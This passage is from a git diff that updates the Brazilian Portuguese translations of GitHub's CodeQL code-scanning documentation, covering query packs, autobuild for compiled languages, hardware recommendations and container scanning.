-- Run the {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae or ghec %}CLI directly {% elsif ghes = 3.0 %}CLI or runner {% else %}runner {% endif %} in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
+- Adicione o fluxo de trabalho de {% data variables.product.prodname_codeql %} ao seu repositório. Isto usa o [github/codeql-action](https://github.com/github/codeql-action/) para executar o {% data variables.product.prodname_codeql_cli %}. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)".
+- Execute {% data variables.product.prodname_codeql %} {% ifversion fpt or ghes > 3.1 or ghae or ghec %}CLI diretamente {% elsif ghes = 3.0 %}CLI ou executor {% else %}corredor {% endif %} em um sistema de CI externo e faça o upload dos resultados para {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Sobre a digitalização de código {% data variables.product.prodname_codeql %} no seu sistema de CI ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
 
-## About {% data variables.product.prodname_codeql %}
+## Sobre o {% data variables.product.prodname_codeql %}
 
-{% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers.
+O {% data variables.product.prodname_codeql %} trata o código como dados, permitindo que você encontre possíveis vulnerabilidades em seu código com maior confiança do que os analisadores estáticos tradicionais.
 
-1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase.
-2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase.
-3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}.
+1. Você gera um banco de dados de {% data variables.product.prodname_codeql %} para representar a sua base de código.
+2. Em seguida, você executa consultas de {% data variables.product.prodname_codeql %} nesse banco de dados para identificar problemas na base de código.
+3. Os resultados da consulta são exibidos como alertas de {% data variables.product.prodname_code_scanning %} em {% data variables.product.product_name %} quando você usa {% data variables.product.prodname_codeql %} com {% data variables.product.prodname_code_scanning %}.
 
-{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages.
+O {% data variables.product.prodname_codeql %} é compatível com linguagens compiladas e interpretadas e é capaz de encontrar vulnerabilidades e erros no código escrito nos idiomas suportados.
 
 {% data reusables.code-scanning.codeql-languages-bullets %}
 
-## About {% data variables.product.prodname_codeql %} queries
+## Sobre consultas de {% data variables.product.prodname_codeql %}
 
-{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) on the GitHub Security Lab website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation.
+{% data variables.product.company_short %} especialistas, pesquisadores de segurança e contribuidores da comunidade escrevem e mantêm as consultas padrão de {% data variables.product.prodname_codeql %} usadas por {% data variables.product.prodname_code_scanning %}. As consultas são regularmente atualizadas para melhorar a análise e reduzir quaisquer resultados falso-positivos. As consultas são de código aberto.Portanto, você pode ver e contribuir para as consultas no repositório [`github/codeql`](https://github.com/github/codeql). Para obter mais informações, consulte [{% data variables.product.prodname_codeql %}](https://securitylab.github.com/tools/codeql) no site do GitHub Security Lab. Você também pode escrever suas próprias consultas. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_codeql %} consultas](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" na documentação do {% data variables.product.prodname_codeql %}.
 
-You can run additional queries as part of your code scanning analysis. 
+Você pode executar consultas adicionais como parte da sua análise de digitalização de código.
 
 {%- if codeql-packs %}
-These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a QL pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional QL packs:
+Essas consultas devem pertencer a um pacote de consulta de {% data variables.product.prodname_codeql %} publicado (beta) ou um pacote QL em um repositório. Os pacotes (beta) de {% data variables.product.prodname_codeql %} oferecem os seguintes benefícios sobre os pacotes QL tradicionais:
 
-- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI. 
-- QL packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query.
+- Quando um pacote de consulta (beta) {% data variables.product.prodname_codeql %} é publicado em {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, todas as dependências transitórias exigidas pelas consultas e um cache de compilação estão incluídas no pacote. Isto melhora o desempenho e garante que a execução de consultas no pacote dê resultados idênticos toda vez até que você fizer a autalização para uma nova versão do pacote ou para o CLI.
+- Os pacotes de QL não incluem dependências transitórias. Portanto, as consultas no pacote podem depender apenas das bibliotecas padrão (ou seja, as bibliotecas referenciadas por uma instrução `LINGUAGEM de importação` na sua consulta), ou bibliotecas no mesmo pacote QL da consulta.
 
-For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" and "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" in the {% data variables.product.prodname_codeql %} documentation.
+Para obter mais informações, consulte "[Sobre pacotes de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" e "[Sobre pacotes de {% data variables.product.prodname_ql %}](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)" na documentação de {% data variables.product.prodname_codeql %}.
 
 {% data reusables.code-scanning.beta-codeql-packs-cli %}
 
 {%- else %}
-The queries you want to run must belong to a QL pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same QL pack as the query. For more information, see "[About {% data variables.product.prodname_ql %} packs](https://codeql.github.com/docs/codeql-cli/about-ql-packs/)."
+As consultas que você deseja executar devem pertencer a um pacote QL em um repositório. As consultas só devem depender das bibliotecas-padrão (ou seja, as bibliotecas referenciadas por uma declaração de `LINGUAGEM de importação` na sua consulta), ou bibliotecas no mesmo pacote QL da consulta. Para obter mais informações, consulte "[Sobre os pacotes de {% data variables.product.prodname_ql %}](https://codeql.github.com/docs/codeql-cli/about-ql-packs/).
 {% endif %}
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
index 42c5f3df55..99310dae0e 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring the CodeQL workflow for compiled languages
-shortTitle: Configure compiled languages
-intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.'
+title: Configurar o fluxo de trabalho do CodeQL para linguagens compiladas
+shortTitle: Configurar linguagens compiladas
+intro: 'Você pode configurar como o {% data variables.product.prodname_dotcom %} usa o {% data variables.product.prodname_codeql_workflow %} para varrer o código escrito em linguagens compiladas para obter vulnerabilidades e erros.'
 product: '{% data reusables.gated-features.code-scanning %}'
 permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.'
 redirect_from:
@@ -26,87 +26,86 @@ topics:
   - C#
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
 
-## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages
+## Sobre o {% data variables.product.prodname_codeql_workflow %} e linguagens compiladas
 
-You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+Você configurou {% data variables.product.prodname_dotcom %} para executar {% data variables.product.prodname_code_scanning %} para o seu repositório, adicionando um fluxo de trabalho de {% data variables.product.prodname_actions %} ao repositório. Para {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, você adiciona o {% data variables.product.prodname_codeql_workflow %}. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)".
 
-{% data reusables.code-scanning.edit-workflow %} 
-For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and  "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+{% data reusables.code-scanning.edit-workflow %}
+Para obter informações gerais sobre a configuração de {% data variables.product.prodname_code_scanning %} e edição de arquivos de fluxo de trabalho, consulte "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" e "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)".
 
-##  About autobuild for {% data variables.product.prodname_codeql %}
+## Sobre a autobuild para {% data variables.product.prodname_codeql %}
 
-Code scanning works by running queries against one or more databases. Each database contains a representation of all of the code in a single language in your repository. For the compiled languages C/C++, C#, and Java, the process of populating this database involves building the code and extracting data. {% data reusables.code-scanning.analyze-go %}
+A varredura de código funciona executando consultas contra um ou mais bancos de dados. Cada banco de dados contém uma representação de todo o código em uma linguagem única no seu repositório. Para as linguagens compiladas de C/C++, C#, e Java, o processo de preenchimento deste banco de dados envolve a construção do código e extração de dados. {% data reusables.code-scanning.analyze-go %}
 
 {% data reusables.code-scanning.autobuild-compiled-languages %}
 
-If your workflow uses a `language` matrix, `autobuild` attempts to build each of the compiled languages listed in the matrix. Without a matrix `autobuild` attempts to build the supported compiled language that has the most source files in the repository. With the exception of Go, analysis of other compiled languages in your repository will fail unless you supply explicit build commands.
+Se o fluxo de trabalho usar uma matriz de `linguagem`, `autobuild` tentará criar cada uma das linguagens compiladas listadas na matriz. Sem uma matriz, `autobuild` tenta criar a linguagem compilada compatível que tem mais arquivos de origem no repositório. Com exceção de Go, a análise de outras linguagens compatíveis no repositório irá falhar, a menos que você forneça comandos de criação explícitos.
 
 {% note %}
 
 {% ifversion ghae %}
-**Note**: {% data reusables.actions.self-hosted-runners-software %}
+**Observação**: {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-**Note**: If you use self-hosted runners for {% data variables.product.prodname_actions %}, you may need to install additional software to use the `autobuild` process. Additionally, if your repository requires a specific version of a build tool, you may need to install it manually. For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+**Observação**: Se você usa executores auto-hospedados para {% data variables.product.prodname_actions %}, talvez seja necessário instalar um software adicional para usar o processo de `autobuild`. Além disso, se seu repositório precisar de uma versão específica de uma ferramenta de criação, talvez seja necessário instalá-lo manualmente. Para obter mais informações, consulte "[Especificações para executores hospedados no {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
 {% endnote %}
 
 ### C/C++
 
-| Supported system type | System name |
-|----|----|
-| Operating system | Windows, macOS, and Linux |
-| Build system | Windows: MSbuild and build scripts<br/>Linux and macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild, and build scripts |
+| Tipo de sistema compatível | Nome do sistema                                                                                                                        |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
+| Sistema operacional        | Windows, macOS e Linux                                                                                                                 |
+| Sistema de criação         | Windows: MSbuild e scripts de criação<br/>Linux e macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild e scripts |
 
-The behavior of the `autobuild` step varies according to the operating system that the extraction runs on. On Windows, the `autobuild` step attempts to autodetect a suitable build method for C/C++ using the following approach:
+O comportamento da etapa de </code>autobuild` varia de acordo com o sistema operacional em que a extração é executada. No Windows, o <code>autobuild` tenta detectar automaticamente um método de criação adequado para C/C++ usando a seguinte abordagem:
 
-1. Invoke `MSBuild.exe` on the solution (`.sln`) or project (`.vcxproj`) file closest to the root.
-If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them.
-2. Invoke a script that looks like a build script—_build.bat_, _build.cmd_, _and build.exe_ (in that order).
+1. Invocar `MSBuild.exe` sobre a solução (`.sln`) ou arquivo (`.vcxproj`) de projeto mais próximo da raiz. Se o `autobuild` detectar várias soluções ou arquivos de projeto na mesma profundidade (mais curta) do diretório de nível superior, ele tentará criar todos eles.
+2. Invoca um script que se parece com um script de criação-_build.bat_, _build.cmd_, _e build.exe_ (nessa ordem).
 
-On Linux and macOS, the `autobuild` step reviews the files present in the repository to determine the build system used:
+No Linux e no macOS, a etapa de `autobuild` revisa os arquivos presentes no repositório para determinar o sistema de criação usado:
 
-1. Look for a build system in the root directory.
-2. If none are found, search subdirectories for a unique directory with a build system for C/C++.
-3. Run an appropriate command to configure the system. 
+1. Procure um sistema de criação no diretório-raiz.
+2. Se nenhum for encontrado, procure um diretório único nos subdiretórios com um sistema de criação para C/C++.
+3. Execute um comando apropriado para configurar o sistema.
 
-### C#
+### C
 
-| Supported system type | System name |
-|----|----|
-| Operating system | Windows and Linux |
-| Build system | .NET and MSbuild, as well as build scripts |
+| Tipo de sistema compatível | Nome do sistema                    |
+| -------------------------- | ---------------------------------- |
+| Sistema operacional        | Windows e Linux                    |
+| Sistema de criação         | .NET, MSbuild e scripts de criação |
 
-The `autobuild` process attempts to autodetect a suitable build method for C# using the following approach:
+O processo de `autobuild` tenta detectar automaticamente um método de criação adequado para C# usando a seguinte abordagem:
 
-1. Invoke `dotnet build` on the solution (`.sln`) or project (`.csproj`) file closest to the root.
-2. Invoke `MSbuild` (Linux) or `MSBuild.exe` (Windows) on the solution or project file closest to the root.
-If `autobuild` detects multiple solution or project files at the same (shortest) depth from the top level directory, it will attempt to build all of them.
-3. Invoke a script that looks like a build script—_build_ and _build.sh_ (in that order, for Linux) or _build.bat_, _build.cmd_, _and build.exe_ (in that order, for Windows).
+1. Invocar o arquivo `dotnet build` na solução (`.sln`) ou projeto (`.csproj`) mais próximo da raiz.
+2. Invocar `MSbuild` (Linux) ou `MSBuild.exe` (Windows) na solução ou no arquivo do projeto mais próximo da raiz. Se o `autobuild` detectar várias soluções ou arquivos de projeto na mesma profundidade (mais curta) do diretório de nível superior, ele tentará criar todos eles.
+3. Invoca um script que parece um script de criação—_build_ e _build.sh_ (nessa ordem, para o Linux) ou _build.bat_, _build.cmd_, _e build.exe_ (nessa ordem para o Windows).
 
 ### Java
 
-| Supported system type | System name |
-|----|----|
-| Operating system | Windows, macOS, and Linux (no restriction) |
-| Build system | Gradle, Maven and Ant |
+| Tipo de sistema compatível | Nome do sistema                        |
+| -------------------------- | -------------------------------------- |
+| Sistema operacional        | Windows, macOS e Linux (sem restrição) |
+| Sistema de criação         | Gradle, Maven e Ant                    |
 
-The `autobuild` process tries to determine the build system for Java codebases by applying this strategy:
+O processo de `autobuild` tenta determinar o sistema de criação para bases de código do Java aplicando esta estratégia:
 
-1. Search for a build file in the root directory. Check for Gradle then Maven then Ant build files.
-2. Run the first build file found. If both Gradle and Maven files are present, the Gradle file is used.
-3. Otherwise, search for build files in direct subdirectories of the root directory. If only one subdirectory contains build files, run the first file identified in that subdirectory (using the same preference as for 1). If more than one subdirectory contains build files, report an error.
+1. Procurar um arquivo de criação no diretório-raiz. Verifique o arquivos do Gradle, do Maven e, em seguida, do Ant.
+2. Execute o primeiro arquivo de criação encontrado. Se os arquivos do Gradle e do Maven estiverem presentes, será usado o arquivo do Gradle.
+3. Caso contrário, procure arquivos de criação nos subdiretórios diretos do diretório-raiz. Se apenas um subdiretório contiver arquivos de criação, execute o primeiro arquivo identificado nesse subdiretório (usando a mesma preferência de 1). Se mais de um subdiretório conter arquivos de criação, relate um erro.
 
-## Adding build steps for a compiled language
+## Adicionar passos de criação a uma linguagem compilada
 
-{% data reusables.code-scanning.autobuild-add-build-steps %} For information on how to edit the workflow file, see  "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)."
+{% data reusables.code-scanning.autobuild-add-build-steps %} Para obter informações sobre como editar o arquivo de fluxo de trabalho, consulte "[Configurar o {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)".
 
-After removing the `autobuild` step, uncomment the `run` step and add build commands that are suitable for your repository. The workflow `run` step runs command-line programs using the operating system's shell. You can modify these commands and add more commands to customize the build process. 
+Depois de remover a etapa de `autobuild`, remova o comentário da etapa `executar` e adicione comandos de criação adequados ao seu repositório. A etapa do fluxo de trabalho `executar` executa programas da linha de comando que usam o shell do sistema operacional. Você pode modificar esses comandos e adicionar mais comandos para personalizar o processo de criação.
 
 ``` yaml
 - run: |
@@ -114,9 +113,9 @@ After removing the `autobuild` step, uncomment the `run` step and add build comm
   make release
 ```
 
-For more information about the `run` keyword, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+Para obter mais informações sobre a palavra-chave `executar`, consulte "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-If your repository contains multiple compiled languages, you can specify language-specific build commands. For example, if your repository contains C/C++, C# and Java, and `autobuild` correctly builds C/C++ and C# but fails to build Java, you could use the following configuration in your workflow, after the `init` step. This specifies build steps for Java while still using `autobuild` for C/C++ and C#:
+Se seu repositório contém várias linguagens compiladas, você pode especificar comandos de compilação específicos da linguagem. Por exemplo, se o seu repositório contém C/C++, C# e Java, e o `autobuild` cria C/C++ e C# corretamente mas falha ao criar Java, você poderia utilizar a configuração a seguir no seu fluxo de trabalho, após a etapa `init`. Isto especifica etapas de criação para Java ao mesmo tempo que usa `autobuild` para C/C++ e C#:
 
 ```yaml
 - if: matrix.language == 'cpp' || matrix.language == 'csharp' 
@@ -130,8 +129,8 @@ If your repository contains multiple compiled languages, you can specify languag
     make release
 ```
 
-For more information about the `if` conditional, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif)."
+Para obter mais informações sobre `se` condicional, consulte "[Sintaxe de fluxo de trabalho para o GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif).
 
-For more tips and tricks about why `autobuild` won't build your code, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
+Para obter mais dicas e truques sobre por que o`autobuild` não criará o seu código, consulte[Solução de problemas sobre o fluxo de trabalho do {% data variables.product.prodname_codeql %}](/code-security/secure-coding/troubleshooting-the-codeql-workflow)".
 
-If you added manual build steps for compiled languages and {% data variables.product.prodname_code_scanning %} is still not working on your repository, contact {% data variables.contact.contact_support %}.
+Se você adicionou etapas de criação manual para linguagens compiladas, mas o {% data variables.product.prodname_code_scanning %} ainda não está funcionando no seu repositório, entre em contato com {% data variables.contact.contact_support %}.
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
index 4ea514673d..812b768116 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
@@ -1,7 +1,7 @@
 ---
-title: Recommended hardware resources for running CodeQL 
-shortTitle: Hardware resources for CodeQL 
-intro: 'Recommended specifications (RAM, CPU cores, and disk) for running {% data variables.product.prodname_codeql %} analysis on self-hosted machines, based on the size of your codebase.'
+title: Recursos de hardware recomendados para executar o CodeQL
+shortTitle: Recursos de hardware para CodeQL
+intro: 'Especificações recomendadas (RAM, núcleos de CPU e disco) para executar análises de {% data variables.product.prodname_codeql %} em máquinas auto-hospedadas, com base no tamanho de sua base de código.'
 product: '{% data reusables.gated-features.code-scanning %}'
 versions:
   fpt: '*'
@@ -15,18 +15,18 @@ topics:
   - Repositories
   - Integration
   - CI
-
 ---
-You can set up {% data variables.product.prodname_codeql %} on {% data variables.product.prodname_actions %} or on an external CI system. {% data variables.product.prodname_codeql %} is fully compatible with {% data variables.product.prodname_dotcom %}-hosted runners on {% data variables.product.prodname_actions %}.
 
-If you're using an external CI system, or self-hosted runners on {% data variables.product.prodname_actions %} for private repositories, you're responsible for configuring your own hardware. The optimal hardware configuration for running {% data variables.product.prodname_codeql %} may vary based on the size and complexity of your codebase, the programming languages and build systems being used, and your CI workflow setup.
+Você pode configurar {% data variables.product.prodname_codeql %} em {% data variables.product.prodname_actions %} ou em um sistema de CI externo. {% data variables.product.prodname_codeql %} é totalmente compatível com executores hospedados em {% data variables.product.prodname_dotcom %} em {% data variables.product.prodname_actions %}.
 
-The table below provides recommended hardware specifications for running {% data variables.product.prodname_codeql %} analysis, based on the size of your codebase. Use these as a starting point for determining your choice of hardware or virtual machine. A machine with greater resources may improve analysis performance, but may also be more expensive to maintain.
+Se você estiver usando um sistema de CI externo ou executores auto-hospedados em {% data variables.product.prodname_actions %} para repositórios privados, você será responsável pela configuração do seu próprio hardware. A configuração ideal de hardware para a execução de {% data variables.product.prodname_codeql %} pode variar com base no tamanho e complexidade do seu código, as linguagens de programação e sistemas de compilação usados e a configuração do fluxo de trabalho do CI.
 
-| Codebase size | RAM | CPU |
-|--------|--------|--------|
-| Small (<100 K lines of code) | 8 GB or higher | 2 cores |
-| Medium (100 K to 1 M lines of code) | 16 GB or higher | 4 or 8 cores |
-| Large (>1 M lines of code) | 64 GB or higher | 8 cores |
+A tabela abaixo fornece as especificações de hardware recomendadas para a execução de análise de {% data variables.product.prodname_codeql %}, com base no tamanho da sua base de código. Use isso como ponto de partida para determinar sua escolha de hardware ou máquina virtual. Uma máquina com maiores recursos pode melhorar o desempenho da análise, mas também pode ser mais cara de manter.
 
-For all codebase sizes, we recommend using an SSD with 14 GB or more of disk space. There must be enough disk space to check out and build your code, plus additional space for data produced by {% data variables.product.prodname_codeql %}.
+| Tamanho da base de código            | RAM               | CPU            |
+| ------------------------------------ | ----------------- | -------------- |
+| Pequeno (<100 K linhas de código)    | 8 GB ou superior  | 2 núcleos      |
+| Médio (100 K a 1 M linhas de código) | 16 GB ou superior | 4 ou 8 núcleos |
+| Grande (>1 M de linhas de código)    | 64 GB ou superior | 8 núcleos      |
+
+Para todos os tamanhos da base de código, recomendamos usar um SSD com 14 GB ou mais de espaço em disco. Deve haver espaço em disco suficiente para verificar e criar seu código, mais espaço adicional para dados produzidos por {% data variables.product.prodname_codeql %}.
diff --git a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
index a5315a96bc..42167176df 100644
--- a/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
+++ b/translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
@@ -1,7 +1,7 @@
 ---
-title: Running CodeQL code scanning in a container
-shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
-intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.'
+title: Executar a varredura de código CodeQL em um contêiner
+shortTitle: '{% data variables.product.prodname_code_scanning_capc %} em um contêiner'
+intro: 'Você pode executar {% data variables.product.prodname_code_scanning %} em um contêiner garantindo que todos os processos sejam executados no mesmo container.'
 product: '{% data reusables.gated-features.code-scanning %}'
 redirect_from:
   - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
@@ -22,32 +22,33 @@ topics:
   - Containers
   - Java
 ---
+
 <!--For this article in earlier GHES versions, see /content/github/finding-security-vulnerabilities-and-errors-in-your-code-->
 
 {% data reusables.code-scanning.beta %}
 {% data reusables.code-scanning.deprecation-codeql-runner %}
 
-## About {% data variables.product.prodname_code_scanning %} with a containerized build
+## Sobre {% data variables.product.prodname_code_scanning %} com uma compilação de contêiner
 
-If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled.
+Se você estiver configurando {% data variables.product.prodname_code_scanning %} para um idioma compilado e estiver criando o código em um ambiente de contêiner, a análise pode falhar com a mensagem de erro "Nenhum código fonte foi visto durante a compilação." Isso indica que {% data variables.product.prodname_codeql %} não conseguiu monitorar seu código da forma como foi compilado.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}, the {% data variables.product.prodname_codeql_runner %}, or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} or the {% data variables.product.prodname_codeql_runner %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+Você deve executar {% data variables.product.prodname_codeql %} dentro do contêiner no qual você constrói seu código. Isso se aplica se você estiver usando o {% data variables.product.prodname_codeql_cli %}, o {% data variables.product.prodname_codeql_runner %} ou {% data variables.product.prodname_actions %}. Para {% data variables.product.prodname_codeql_cli %} ou {% data variables.product.prodname_codeql_runner %}, consulte "[Instalar {% data variables.product.prodname_codeql_cli %} no seu sistema de TI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)" ou "[Executar {% data variables.product.prodname_codeql_runner %} no seu sistema de TI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" para obter mais informações. Se estiver usando {% data variables.product.prodname_actions %}, configure seu fluxo de trabalho para executar todas as ações no mesmo contêiner. Para obter mais informações, consulte "[Exemplo de fluxo de trabalho](#example-workflow)".
 {% else %}
-You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_runner %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_runner %}, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)."
+Você deve executar {% data variables.product.prodname_codeql %} dentro do contêiner no qual você constrói seu código. Isso se aplica se você estiver usando {% data variables.product.prodname_codeql_runner %} ou {% data variables.product.prodname_actions %}. Para {% data variables.product.prodname_codeql_runner %}, consulte "[Executando {% data variables.product.prodname_codeql_runner %} no seu sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)" para obter mais informações. Se estiver usando {% data variables.product.prodname_actions %}, configure seu fluxo de trabalho para executar todas as ações no mesmo contêiner. Para obter mais informações, consulte "[Exemplo de fluxo de trabalho](#example-workflow)".
 {% endif %}
 
-## Dependencies
+## Dependências
 
-You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s virtual environments. For more information, see the version-specific `readme` files in these locations:
